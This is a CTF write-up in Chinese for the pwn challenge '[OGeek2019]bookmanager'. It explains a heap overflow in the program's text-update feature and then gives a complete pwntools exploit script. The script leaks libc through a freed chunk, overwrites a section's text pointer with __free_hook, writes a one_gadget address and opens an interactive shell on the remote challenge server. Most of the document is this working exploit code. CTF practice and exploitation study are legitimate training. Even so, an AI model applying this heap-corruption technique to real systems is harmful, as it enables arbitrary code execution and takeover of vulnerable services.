[OGeek2019]bookmanager
查看保护
这题的功能多,要审计的代码多,但是漏洞也多,这里笔者就例出笔者getshell所使用的漏洞
可以看到这里在update text的时候可以改0xff大小, 笔者用的最多的就是这里的漏洞。
攻击思路:
1.因为可以改0xff大小所以我们可以借助这个来使得0x91全部填满,在填满之前让下面的0x91释放掉。这样一来垃圾数据就可以直接连接到被释放掉的0x91的fd这里,show一下即可拿到libc。
2.拿到libc之后笔者再次利用了这个漏洞先将下面的东西给恢复正常,以便后续的漏洞利用
3.看前面的section就可以看到倒数两个地址会存放text的地址,那我们是不是可以将text的地址给支持成free_hook呢,所以笔者再次利用了这个漏洞。
需要注意的是656565这里,因为这个section是跟着656565和倒数两个地址来锁定自己和text地址的
4,直接改这个section的text为one_gadget即可getshell。
这题其实有很多方法来解决,这里只是不断的利用这一个漏洞,还可以试着使用off-by-one来进行overlapping从而getshell。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
debug = 1
if debug:
r = remote('node4.buuoj.cn', 27012)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = 'Your choice:'
def add_chapter(name):
r.sendlineafter(menu, '1')
r.sendafter('\nChapter name:', name)
def add_section(name, sec_name):
r.sendlineafter(menu, '2')
r.sendafter('\nWhich chapter do you want to add into:', name)
r.sendafter('\nSection name:', sec_name)
def add_text(sec_name, size, text):
r.sendlineafter(menu, '3')
r.sendafter('\nWhich section do you want to add into:', sec_name)
r.sendlineafter('\nHow many chapters you want to write:', str(size))
r.sendafter('\nText:', text)
def show():
r.sendlineafter(menu, '7')
def delete_chapter(name):
r.sendlineafter(menu, '4')
r.sendafter('\nChapter name:', name)
def delete_section(sec_name):
r.sendlineafter(menu, '5')
r.sendafter('\nSection name:', sec_name)
def delete(text):
r.sendlineafter(menu, '6')
r.sendafter('\nSection name:', text)
def edit(index, old_name, new_name):
r.sendlineafter(menu, '8')
if index == 1:
r.sendlineafter('\nWhat to update?(Chapter/Section/Text):', 'Chapter')
r.sendafter('\nChapter name:', old_name)
r.sendafter('\nNew Chapter name:', new_name)
if index == 2:
r.sendlineafter('\nWhat to update?(Chapter/Section/Text):', 'Section')
r.sendafter('\nSection name:', old_name)
r.sendafter('\nNew Section name:', new_name)
if index == 3:
r.sendlineafter('\nWhat to update?(Chapter/Section/Text):', 'Text')
r.sendafter('\nSection name:', old_name)
r.sendafter('\nNew Text:', new_name)
r.sendlineafter('Name of the book you want to create: ', 'z1r0')
add_chapter('aaaa')
add_section('aaaa', 'bbbb')
add_text('bbbb', 0xf8, 'cccc')
add_chapter('AAAA')
add_section('AAAA', 'BBBB')
delete_chapter('AAAA')
edit(3, 'bbbb', 'a' * 0x100)
show()
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
li('[+] malloc_hook = ' + hex(malloc_hook))
libc = ELF('./libc-2.23.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = one[1] + libc_base
free_hook = libc_base + libc.sym['__free_hook']
li('[+] free_hook = ' + hex(free_hook))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
li('[+] _IO_list_all = ' + hex(_IO_list_all))
p2 = b'a' * 0xf8 + p64(0x91)
edit(3, 'bbbb', p2)
add_text('bbbb', 0x80, 'dddd')
#p3 = b'a' * 0x88 + p64(0x41) + p64(malloc_hook - 0x23) + p64(0) + p64(0) * 5 + p64(0x20cd1)
p3 = b'a' * 0x88 + p64(0x41)
edit(3, 'bbbb', p3)
add_section('aaaa', 'dddd')
p4 = b'a' * 0x88 + p64(0x41) + b'e' * 8 + p64(0) * 3 + p64(free_hook) + p64(0x20)
edit(3, 'bbbb', p4)
edit(3, 'e' * 8, p64(one_gadget))
delete('bbbb')
r.interactive()